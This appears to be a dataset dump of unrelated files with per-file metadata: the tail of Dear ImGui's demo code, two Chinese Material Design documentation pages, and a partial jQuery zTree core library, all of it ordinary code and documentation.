[DEBUG] Automatically show/hide a tab. Test various interactions e.g. dragging with this on. //if (ImGui::GetIO().KeyCtrl) ImGui::SetTabItemSelected(docs[1].Name); // [DEBUG] Test SetTabItemSelected(), probably not very useful as-is anyway.. // Submit Tabs for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) { MyDocument* doc = &app.Documents[doc_n]; if (!doc->Open) continue; ImGuiTabItemFlags tab_flags = (doc->Dirty ? ImGuiTabItemFlags_UnsavedDocument : 0); bool visible = ImGui::BeginTabItem(doc->Name, &doc->Open, tab_flags); // Cancel attempt to close when unsaved add to save queue so we can display a popup. if (!doc->Open && doc->Dirty) { doc->Open = true; doc->DoQueueClose(); } MyDocument::DisplayContextMenu(doc); if (visible) { MyDocument::DisplayContents(doc); ImGui::EndTabItem(); } } ImGui::EndTabBar(); } } // Update closing queue static ImVector<MyDocument*> close_queue; if (close_queue.empty()) { // Close queue is locked once we started a popup for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) { MyDocument* doc = &app.Documents[doc_n]; if (doc->WantClose) { doc->WantClose = false; close_queue.push_back(doc); } } } // Display closing confirmation UI if (!close_queue.empty()) { int close_queue_unsaved_documents = 0; for (int n = 0; n < close_queue.Size; n++) if (close_queue[n]->Dirty) close_queue_unsaved_documents++; if (close_queue_unsaved_documents == 0) { // Close documents when all are unsaved for (int n = 0; n < close_queue.Size; n++) close_queue[n]->DoForceClose(); close_queue.clear(); } else { if (!ImGui::IsPopupOpen("Save?")) ImGui::OpenPopup("Save?"); if (ImGui::BeginPopupModal("Save?")) { ImGui::Text("Save change to the following items?"); ImGui::SetNextItemWidth(-1.0f); if (ImGui::ListBoxHeader("##", close_queue_unsaved_documents, 6)) { for (int n = 0; n < close_queue.Size; n++) if (close_queue[n]->Dirty) ImGui::Text("%s", close_queue[n]->Name); ImGui::ListBoxFooter(); } if (ImGui::Button("Yes", ImVec2(80, 0))) { for (int n = 0; n < close_queue.Size; n++) { if (close_queue[n]->Dirty) close_queue[n]->DoSave(); close_queue[n]->DoForceClose(); } close_queue.clear(); ImGui::CloseCurrentPopup(); } ImGui::SameLine(); if (ImGui::Button("No", ImVec2(80, 0))) { for (int n = 0; n < close_queue.Size; n++) close_queue[n]->DoForceClose(); close_queue.clear(); ImGui::CloseCurrentPopup(); } ImGui::SameLine(); if (ImGui::Button("Cancel", ImVec2(80, 0))) { close_queue.clear(); ImGui::CloseCurrentPopup(); } ImGui::EndPopup(); } } } ImGui::End(); } // End of Demo code #else void ImGui::ShowAboutWindow(bool*) {} void ImGui::ShowDemoWindow(bool*) {} void ImGui::ShowUserGuide() {} void ImGui::ShowStyleEditor(ImGuiStyle*) {} #endif
251,584
imgui_demo
cpp
en
cpp
code
{"qsc_code_num_words": 28602, "qsc_code_num_chars": 251584.0, "qsc_code_mean_word_length": 5.05625481, "qsc_code_frac_words_unique": 0.09695126, "qsc_code_frac_chars_top_2grams": 0.01573099, "qsc_code_frac_chars_top_3grams": 0.01132631, "qsc_code_frac_chars_top_4grams": 0.00315311, "qsc_code_frac_chars_dupe_5grams": 0.29922071, "qsc_code_frac_chars_dupe_6grams": 0.21437709, "qsc_code_frac_chars_dupe_7grams": 0.16297997, "qsc_code_frac_chars_dupe_8grams": 0.12697502, "qsc_code_frac_chars_dupe_9grams": 0.10674254, "qsc_code_frac_chars_dupe_10grams": 0.08751962, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02654134, "qsc_code_frac_chars_whitespace": 0.27561371, "qsc_code_size_file_byte": 251584.0, "qsc_code_num_lines": 4844.0, "qsc_code_num_chars_line_max": 551.0, "qsc_code_num_chars_line_mean": 51.93724195, "qsc_code_frac_chars_alphabet": 0.76700468, "qsc_code_frac_chars_comments": 0.18348941, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23386243, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.01455026, "qsc_code_frac_chars_string_length": 0.16587399, "qsc_code_frac_chars_long_word_length": 0.01885396, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00082576, "qsc_code_frac_lines_assert": 0.00185185, "qsc_codecpp_frac_lines_preprocessor_directives": 0.02724868, "qsc_codecpp_frac_lines_func_ratio": 0.02936508, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0010582, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.03677249, "qsc_codecpp_frac_lines_print": 0.00529101}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
1sters/material_design_zh_2
material-design/resources/sticker-sheets.md
# 贴片集 ## 结构组件 结构组件贴片包含组成布局的许多种不同元素,其中包括状态栏、应用操作条、底部工具条、卡片、下拉菜单、搜索条、分割线、侧滑导航、对话框和浮动操作按钮,以及它们的浅色、深色两种主题。 * [Structural Elements](http://material-design.storage.googleapis.com/downloads/stickersheet_uielements.ai) - 1.2 MB (.ai) ## 容器 下载如下文件: * [Cards Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_cards.ai) - 346.84 MB (.ai) * [Dialogs Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_dialogs.ai) - 14.88 MB (.ai) * [Dividers Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_dividers.ai) - 111.5 MB (.ai) * [Grids Stickersheet ](http://material-design.storage.googleapis.com/downloads/stickersheet_grids.ai) - 235.61 MB (.ai) * [Lists Stickersheet ](http://material-design.storage.googleapis.com/downloads/stickersheet_lists.ai) - 506.47 MB (.ai) * [Bottomsheet Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_bottomsheets.ai) - 41.64 MB (.ai) * [Subheaders Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_subheads.ai) - 58.88 MB (.ai) * [Tabs Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_tabs.ai) - 183.18 MB (.ai) ## UI组件 下载如下文件: * [Buttons Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_buttons.ai) - 50.86 MB (.ai) * [Chips & Tokens Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_chips.ai) - 22.16 MB (.ai) * [List Controls Stickersheet ](http://material-design.storage.googleapis.com/downloads/stickersheet_listcontrols.ai) - 81.06 MB (.ai) * [Sliders Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_sliders.ai) - 0.77 MB (.ai) * [Snackbar & Toast Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_toasts.ai) - 5.28 MB (.ai) * [Switches Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_switches.ai) - 0.34 MB (.ai) * [Text Fields Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_textfields.ai) - 34 MB (.ai) * [Tooltips Stickersheet](http://material-design.storage.googleapis.com/downloads/stickersheet_tooltips.ai) - 32.9 MB (.ai) > 原文:[Sticker Sheets](http://www.google.com/design/spec/resources/sticker-sheets.html) 翻译:[iceskysl](https://github.com/iceskysl) 校对:[PoppinLp](https://github.com/poppinlp)
2,443
sticker-sheets
md
zh
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": null, "qsc_doc_num_sentences": 108.0, "qsc_doc_num_words": 348, "qsc_doc_num_chars": 2443.0, "qsc_doc_num_lines": 37.0, "qsc_doc_mean_word_length": 5.37068966, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.34770115, "qsc_doc_entropy_unigram": 3.8973901, "qsc_doc_frac_words_all_caps": 0.02469136, "qsc_doc_frac_lines_dupe_lines": 0.08, "qsc_doc_frac_chars_dupe_lines": 0.00581879, "qsc_doc_frac_chars_top_2grams": 0.10914928, "qsc_doc_frac_chars_top_3grams": 0.16372392, "qsc_doc_frac_chars_top_4grams": 0.22739433, "qsc_doc_frac_chars_dupe_5grams": 0.63937935, "qsc_doc_frac_chars_dupe_6grams": 0.63937935, "qsc_doc_frac_chars_dupe_7grams": 0.63937935, "qsc_doc_frac_chars_dupe_8grams": 0.63937935, "qsc_doc_frac_chars_dupe_9grams": 0.60781166, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 15.97222222, "qsc_doc_frac_chars_hyperlink_html_tag": 0.61727384, "qsc_doc_frac_chars_alphabet": null, "qsc_doc_frac_chars_digital": 0.02800875, "qsc_doc_frac_chars_whitespace": 0.06467458, "qsc_doc_frac_chars_hex_words": 0.0}
0
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 1, "qsc_doc_frac_chars_dupe_5grams": 1, "qsc_doc_frac_chars_dupe_6grams": 1, "qsc_doc_frac_chars_dupe_7grams": 1, "qsc_doc_frac_chars_dupe_8grams": 1, "qsc_doc_frac_chars_dupe_9grams": 1, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_full_bracket": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 1, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
1sters/material_design_zh_2
material-design/whatis-material-design/environment.md
# 环境 > 三维世界(3D world) > 光影关系(Light and shadow) 三维世界(3D world) Material 环境是一个三维的空间,这意味着每个对象都有 x , y , z 三维坐标属性,z 轴垂直于显示平面,并延伸向用户视角,每个 material 元素在 z 轴上占据一定的位置并且有一个 1dp 厚度的标准。 在网页上,z 轴被用来分层而不是为了视角。3D 空间通过操纵 y 轴进行仿真。 ![具备 x,y 和 z 轴的 3D 空间](../images/1.png) 具备 x,y 和 z 轴的 3D 空间 光影关系(Light and shadow) 在 material 环境中,虚拟的光线照射使场景中的对象投射出阴影,主光源投射出一个定向的阴影,而环境光从各个角度投射出连贯又柔和的阴影。 material 环境中的所有阴影都是由这两种光投射产生的,阴影是光线照射不到的地方,因为各个元素在z轴上占据了不同大小的位置遮挡住了这些光线。 ![](../images/1_1.png) 直射光投射的阴影 ![](../images/1_2.png) 散射光投射的阴影 ![](../images/1_3.png) 直射光和散射光混合投影
573
environment
md
zh
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": null, "qsc_doc_num_sentences": 13.0, "qsc_doc_num_words": 204, "qsc_doc_num_chars": 573.0, "qsc_doc_num_lines": 34.0, "qsc_doc_mean_word_length": 2.0, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.49509804, "qsc_doc_entropy_unigram": 4.34115882, "qsc_doc_frac_words_all_caps": 0.01831502, "qsc_doc_frac_lines_dupe_lines": 0.0, "qsc_doc_frac_chars_dupe_lines": 0.0, "qsc_doc_frac_chars_top_2grams": 0.03676471, "qsc_doc_frac_chars_top_3grams": 0.02941176, "qsc_doc_frac_chars_top_4grams": 0.05392157, "qsc_doc_frac_chars_dupe_5grams": 0.24509804, "qsc_doc_frac_chars_dupe_6grams": 0.05882353, "qsc_doc_frac_chars_dupe_7grams": 0.05882353, "qsc_doc_frac_chars_dupe_8grams": 0.05882353, "qsc_doc_frac_chars_dupe_9grams": 0.05882353, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 10.25490196, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": null, "qsc_doc_frac_chars_digital": 0.02702703, "qsc_doc_frac_chars_whitespace": 0.16055846, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_full_bracket": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.2-Fastjson/ruoyi-admin/src/main/resources/static/ajax/libs/jquery-ztree/3.5/js/jquery.ztree.core-3.5.js
/* * JQuery zTree core 3.5.12 * http://zTree.me/ * * Copyright (c) 2010 Hunter.z * * Licensed same as jquery - MIT License * http://www.opensource.org/licenses/mit-license.php * * email: hunter.z@263.net * Date: 2013-03-11 */ (function($){ var settings = {}, roots = {}, caches = {}, //default consts of core _consts = { className: { BUTTON: "button", LEVEL: "level", ICO_LOADING: "ico_loading", SWITCH: "switch" }, event: { NODECREATED: "ztree_nodeCreated", CLICK: "ztree_click", EXPAND: "ztree_expand", COLLAPSE: "ztree_collapse", ASYNC_SUCCESS: "ztree_async_success", ASYNC_ERROR: "ztree_async_error" }, id: { A: "_a", ICON: "_ico", SPAN: "_span", SWITCH: "_switch", UL: "_ul" }, line: { ROOT: "root", ROOTS: "roots", CENTER: "center", BOTTOM: "bottom", NOLINE: "noline", LINE: "line" }, folder: { OPEN: "open", CLOSE: "close", DOCU: "docu" }, node: { CURSELECTED: "curSelectedNode" } }, //default setting of core _setting = { treeId: "", treeObj: null, view: { addDiyDom: null, autoCancelSelected: true, dblClickExpand: true, expandSpeed: "fast", fontCss: {}, nameIsHTML: false, selectedMulti: true, showIcon: true, showLine: true, showTitle: true }, data: { key: { children: "children", name: "name", title: "", url: "url" }, simpleData: { enable: false, idKey: "id", pIdKey: "pId", rootPId: null }, keep: { parent: false, leaf: false } }, async: { enable: false, contentType: "application/x-www-form-urlencoded", type: "post", dataType: "text", url: "", autoParam: [], otherParam: [], dataFilter: null }, callback: { beforeAsync:null, beforeClick:null, beforeDblClick:null, beforeRightClick:null, beforeMouseDown:null, beforeMouseUp:null, beforeExpand:null, beforeCollapse:null, beforeRemove:null, onAsyncError:null, onAsyncSuccess:null, onNodeCreated:null, onClick:null, onDblClick:null, onRightClick:null, onMouseDown:null, onMouseUp:null, onExpand:null, onCollapse:null, onRemove:null } }, //default root of core //zTree use root to save full data _initRoot = function (setting) { var r = data.getRoot(setting); if (!r) { r = {}; data.setRoot(setting, r); } r[setting.data.key.children] = []; r.expandTriggerFlag = false; r.curSelectedList = []; r.noSelection = true; r.createdNodes = []; r.zId = 0; r._ver = (new Date()).getTime(); }, //default cache of core _initCache = function(setting) { var c = data.getCache(setting); if (!c) { c = {}; data.setCache(setting, c); } c.nodes = []; c.doms = []; }, //default bindEvent of core _bindEvent = function(setting) { var o = setting.treeObj, c = consts.event; o.bind(c.NODECREATED, function (event, treeId, node) { tools.apply(setting.callback.onNodeCreated, [event, treeId, node]); }); o.bind(c.CLICK, function (event, srcEvent, treeId, node, clickFlag) { tools.apply(setting.callback.onClick, [srcEvent, treeId, node, clickFlag]); }); o.bind(c.EXPAND, function (event, treeId, node) { tools.apply(setting.callback.onExpand, [event, treeId, node]); }); o.bind(c.COLLAPSE, function (event, treeId, node) { tools.apply(setting.callback.onCollapse, [event, treeId, node]); }); o.bind(c.ASYNC_SUCCESS, function (event, treeId, node, msg) { tools.apply(setting.callback.onAsyncSuccess, [event, treeId, node, msg]); }); o.bind(c.ASYNC_ERROR, function (event, treeId, node, XMLHttpRequest, textStatus, errorThrown) { tools.apply(setting.callback.onAsyncError, [event, treeId, node, XMLHttpRequest, textStatus, errorThrown]); }); }, _unbindEvent = function(setting) { var o = setting.treeObj, c = consts.event; o.unbind(c.NODECREATED) .unbind(c.CLICK) .unbind(c.EXPAND) .unbind(c.COLLAPSE) .unbind(c.ASYNC_SUCCESS) .unbind(c.ASYNC_ERROR); }, //default event proxy of core _eventProxy = function(event) { var target = event.target, setting = data.getSetting(event.data.treeId), tId = "", node = null, nodeEventType = "", treeEventType = "", nodeEventCallback = null, treeEventCallback = null, tmp = null; if (tools.eqs(event.type, "mousedown")) { treeEventType = "mousedown"; } else if (tools.eqs(event.type, "mouseup")) { treeEventType = "mouseup"; } else if (tools.eqs(event.type, "contextmenu")) { treeEventType = "contextmenu"; } else if (tools.eqs(event.type, "click")) { if (tools.eqs(target.tagName, "span") && target.getAttribute("treeNode"+ consts.id.SWITCH) !== null) { tId = ($(target).parent("li").get(0) || $(target).parentsUntil("li").parent().get(0)).id; nodeEventType = "switchNode"; } else { tmp = tools.getMDom(setting, target, [{tagName:"a", attrName:"treeNode"+consts.id.A}]); if (tmp) { tId = ($(tmp).parent("li").get(0) || $(tmp).parentsUntil("li").parent().get(0)).id; nodeEventType = "clickNode"; } } } else if (tools.eqs(event.type, "dblclick")) { treeEventType = "dblclick"; tmp = tools.getMDom(setting, target, [{tagName:"a", attrName:"treeNode"+consts.id.A}]); if (tmp) { tId = ($(tmp).parent("li").get(0) || $(tmp).parentsUntil("li").parent().get(0)).id; nodeEventType = "switchNode"; } } if (treeEventType.length > 0 && tId.length == 0) { tmp = tools.getMDom(setting, target, [{tagName:"a", attrName:"treeNode"+consts.id.A}]); if (tmp) {tId = ($(tmp).parent("li").get(0) || $(tmp).parentsUntil("li").parent().get(0)).id;} } // event to node if (tId.length>0) { node = data.getNodeCache(setting, tId); switch (nodeEventType) { case "switchNode" : if (!node.isParent) { nodeEventType = ""; } else if (tools.eqs(event.type, "click") || (tools.eqs(event.type, "dblclick") && tools.apply(setting.view.dblClickExpand, [setting.treeId, node], setting.view.dblClickExpand))) { nodeEventCallback = handler.onSwitchNode; } else { nodeEventType = ""; } break; case "clickNode" : nodeEventCallback = handler.onClickNode; break; } } // event to zTree switch (treeEventType) { case "mousedown" : treeEventCallback = handler.onZTreeMousedown; break; case "mouseup" : treeEventCallback = handler.onZTreeMouseup; break; case "dblclick" : treeEventCallback = handler.onZTreeDblclick; break; case "contextmenu" : treeEventCallback = handler.onZTreeContextmenu; break; } var proxyResult = { stop: false, node: node, nodeEventType: nodeEventType, nodeEventCallback: nodeEventCallback, treeEventType: treeEventType, treeEventCallback: treeEventCallback }; return proxyResult }, //default init node of core _initNode = function(setting, level, n, parentNode, isFirstNode, isLastNode, openFlag) { if (!n) return; var r = data.getRoot(setting), childKey = setting.data.key.children; n.level = level; n.tId = setting.treeId + "_" + (++r.zId); n.parentTId = parentNode ? parentNode.tId : null; if (n[childKey] && n[childKey].length > 0) { if (typeof n.open == "string") n.open = tools.eqs(n.open, "true"); n.open = !!n.open; n.isParent = true; n.zAsync = true; } else { n.open = false; if (typeof n.isParent == "string") n.isParent = tools.eqs(n.isParent, "true"); n.isParent = !!n.isParent; n.zAsync = !n.isParent; } n.isFirstNode = isFirstNode; n.isLastNode = isLastNode; n.getParentNode = function() {return data.getNodeCache(setting, n.parentTId);}; n.getPreNode = function() {return data.getPreNode(setting, n);}; n.getNextNode = function() {return data.getNextNode(setting, n);}; n.isAjaxing = false; data.fixPIdKeyValue(setting, n); }, _init = { bind: [_bindEvent], unbind: [_unbindEvent], caches: [_initCache], nodes: [_initNode], proxys: [_eventProxy], roots: [_initRoot], beforeA: [], afterA: [], innerBeforeA: [], innerAfterA: [], zTreeTools: [] }, //method of operate data data = { addNodeCache: function(setting, node) { data.getCache(setting).nodes[data.getNodeCacheId(node.tId)] = node; }, getNodeCacheId: function(tId) { return tId.substring(tId.lastIndexOf("_")+1); }, addAfterA: function(afterA) { _init.afterA.push(afterA); }, addBeforeA: function(beforeA) { _init.beforeA.push(beforeA); }, addInnerAfterA: function(innerAfterA) { _init.innerAfterA.push(innerAfterA); }, addInnerBeforeA: function(innerBeforeA) { _init.innerBeforeA.push(innerBeforeA); }, addInitBind: function(bindEvent) { _init.bind.push(bindEvent); }, addInitUnBind: function(unbindEvent) { _init.unbind.push(unbindEvent); }, addInitCache: function(initCache) { _init.caches.push(initCache); }, addInitNode: function(initNode) { _init.nodes.push(initNode); }, addInitProxy: function(initProxy) { _init.proxys.push(initProxy); }, addInitRoot: function(initRoot) { _init.roots.push(initRoot); }, addNodesData: function(setting, parentNode, nodes) { var childKey = setting.data.key.children; if (!parentNode[childKey]) parentNode[childKey] = []; if (parentNode[childKey].length > 0) { parentNode[childKey][parentNode[childKey].length - 1].isLastNode = false; view.setNodeLineIcos(setting, parentNode[childKey][parentNode[childKey].length - 1]); } parentNode.isParent = true; parentNode[childKey] = parentNode[childKey].concat(nodes); }, addSelectedNode: function(setting, node) { var root = data.getRoot(setting); if (!data.isSelectedNode(setting, node)) { root.curSelectedList.push(node); } }, addCreatedNode: function(setting, node) { if (!!setting.callback.onNodeCreated || !!setting.view.addDiyDom) { var root = data.getRoot(setting); root.createdNodes.push(node); } }, addZTreeTools: function(zTreeTools) { _init.zTreeTools.push(zTreeTools); }, exSetting: function(s) { $.extend(true, _setting, s); }, fixPIdKeyValue: function(setting, node) { if (setting.data.simpleData.enable) { node[setting.data.simpleData.pIdKey] = node.parentTId ? node.getParentNode()[setting.data.simpleData.idKey] : setting.data.simpleData.rootPId; } }, getAfterA: function(setting, node, array) { for (var i=0, j=_init.afterA.length; i<j; i++) { _init.afterA[i].apply(this, arguments); } }, getBeforeA: function(setting, node, array) { for (var i=0, j=_init.beforeA.length; i<j; i++) { _init.beforeA[i].apply(this, arguments); } }, getInnerAfterA: function(setting, node, array) { for (var i=0, j=_init.innerAfterA.length; i<j; i++) { _init.innerAfterA[i].apply(this, arguments); } }, getInnerBeforeA: function(setting, node, array) { for (var i=0, j=_init.innerBeforeA.length; i<j; i++) { _init.innerBeforeA[i].apply(this, arguments); } }, getCache: function(setting) { return caches[setting.treeId]; }, getNextNode: function(setting, node) { if (!node) return null; var childKey = setting.data.key.children, p = node.parentTId ? node.getParentNode() : data.getRoot(setting); for (var i=0, l=p[childKey].length-1; i<=l; i++) { if (p[childKey][i] === node) { return (i==l ? null : p[childKey][i+1]); } } return null; }, getNodeByParam: function(setting, nodes, key, value) { if (!nodes || !key) return null; var childKey = setting.data.key.children; for (var i = 0, l = nodes.length; i < l; i++) { if (nodes[i][key] == value) { return nodes[i]; } var tmp = data.getNodeByParam(setting, nodes[i][childKey], key, value); if (tmp) return tmp; } return null; }, getNodeCache: function(setting, tId) { if (!tId) return null; var n = caches[setting.treeId].nodes[data.getNodeCacheId(tId)]; return n ? n : null; }, getNodeName: function(setting, node) { var nameKey = setting.data.key.name; return "" + node[nameKey]; }, getNodeTitle: function(setting, node) { var t = setting.data.key.title === "" ? setting.data.key.name : setting.data.key.title; return "" + node[t]; }, getNodes: function(setting) { return data.getRoot(setting)[setting.data.key.children]; }, getNodesByParam: function(setting, nodes, key, value) { if (!nodes || !key) return []; var childKey = setting.data.key.children, result = []; for (var i = 0, l = nodes.length; i < l; i++) { if (nodes[i][key] == value) { result.push(nodes[i]); } result = result.concat(data.getNodesByParam(setting, nodes[i][childKey], key, value)); } return result; }, getNodesByParamFuzzy: function(setting, nodes, key, value) { if (!nodes || !key) return []; var childKey = setting.data.key.children, result = []; value = value.toLowerCase(); for (var i = 0, l = nodes.length; i < l; i++) { if (typeof nodes[i][key] == "string" && nodes[i][key].toLowerCase().indexOf(value)>-1) { result.push(nodes[i]); } result = result.concat(data.getNodesByParamFuzzy(setting, nodes[i][childKey], key, value)); } return result; }, getNodesByFilter: function(setting, nodes, filter, isSingle, invokeParam) { if (!nodes) return (isSingle ? null : []); var childKey = setting.data.key.children, result = isSingle ? null : []; for (var i = 0, l = nodes.length; i < l; i++) { if (tools.apply(filter, [nodes[i], invokeParam], false)) { if (isSingle) {return nodes[i];} result.push(nodes[i]); } var tmpResult = data.getNodesByFilter(setting, nodes[i][childKey], filter, isSingle, invokeParam); if (isSingle && !!tmpResult) {return tmpResult;} result = isSingle ? tmpResult : result.concat(tmpResult); } return result; }, getPreNode: function(setting, node) { if (!node) return null; var childKey = setting.data.key.children, p = node.parentTId ? node.getParentNode() : data.getRoot(setting); for (var i=0, l=p[childKey].length; i<l; i++) { if (p[childKey][i] === node) { return (i==0 ? null : p[childKey][i-1]); } } return null; }, getRoot: function(setting) { return setting ? roots[setting.treeId] : null; }, getSetting: function(treeId) { return settings[treeId]; }, getSettings: function() { return settings; }, getZTreeTools: function(treeId) { var r = this.getRoot(this.getSetting(treeId)); return r ? r.treeTools : null; }, initCache: function(setting) { for (var i=0, j=_init.caches.length; i<j; i++) { _init.caches[i].apply(this, arguments); } }, initNode: function(setting, level, node, parentNode, preNode, nextNode) { for (var i=0, j=_init.nodes.length; i<j; i++) { _init.nodes[i].apply(this, arguments); } }, initRoot: function(setting) { for (var i=0, j=_init.roots.length; i<j; i++) { _init.roots[i].apply(this, arguments); } }, isSelectedNode: function(setting, node) { var root = data.getRoot(setting); for (var i=0, j=root.curSelectedList.length; i<j; i++) { if(node === root.curSelectedList[i]) return true; } return false; }, removeNodeCache: function(setting, node) { var childKey = setting.data.key.children; if (node[childKey]) { for (var i=0, l=node[childKey].length; i<l; i++) { arguments.callee(setting, node[childKey][i]); } } data.getCache(setting).nodes[data.getNodeCacheId(node.tId)] = null; }, removeSelectedNode: function(setting, node) { var root = data.getRoot(setting); for (var i=0, j=root.curSelectedList.length; i<j; i++) { if(node === root.curSelectedList[i] || !data.getNodeCache(setting, root.curSelectedList[i].tId)) { root.curSelectedList.splice(i, 1); i--;j--; } } }, setCache: function(setting, cache) { caches[setting.treeId] = cache; }, setRoot: function(setting, root) { roots[setting.treeId] = root; }, setZTreeTools: function(setting, zTreeTools) { for (var i=0, j=_init.zTreeTools.length; i<j; i++) { _init.zTreeTools[i].apply(this, arguments); } }, transformToArrayFormat: function (setting, nodes) { if (!nodes) return []; var childKey = setting.data.key.children, r = []; if (tools.isArray(nodes)) { for (var i=0, l=nodes.length; i<l; i++) { r.push(nodes[i]); if (nodes[i][childKey]) r = r.concat(data.transformToArrayFormat(setting, nodes[i][childKey])); } } else { r.push(nodes); if (nodes[childKey]) r = r.concat(data.transformToArrayFormat(setting, nodes[childKey])); } return r; }, transformTozTreeFormat: function(setting, sNodes) { var i,l, key = setting.data.simpleData.idKey, parentKey = setting.data.simpleData.pIdKey, childKey = setting.data.key.children; if (!key || key=="" || !sNodes) return []; if (tools.isArray(sNodes)) { var r = []; var tmpMap = []; for (i=0, l=sNodes.length; i<l; i++) { tmpMap[sNodes[i][key]] = sNodes[i]; } for (i=0, l=sNodes.length; i<l; i++) { if (tmpMap[sNodes[i][parentKey]] && sNodes[i][key] != sNodes[i][parentKey]) { if (!tmpMap[sNodes[i][parentKey]][childKey]) tmpMap[sNodes[i][parentKey]][childKey] = []; tmpMap[sNodes[i][parentKey]][childKey].push(sNodes[i]); } else { r.push(sNodes[i]); } } return r; }else { return 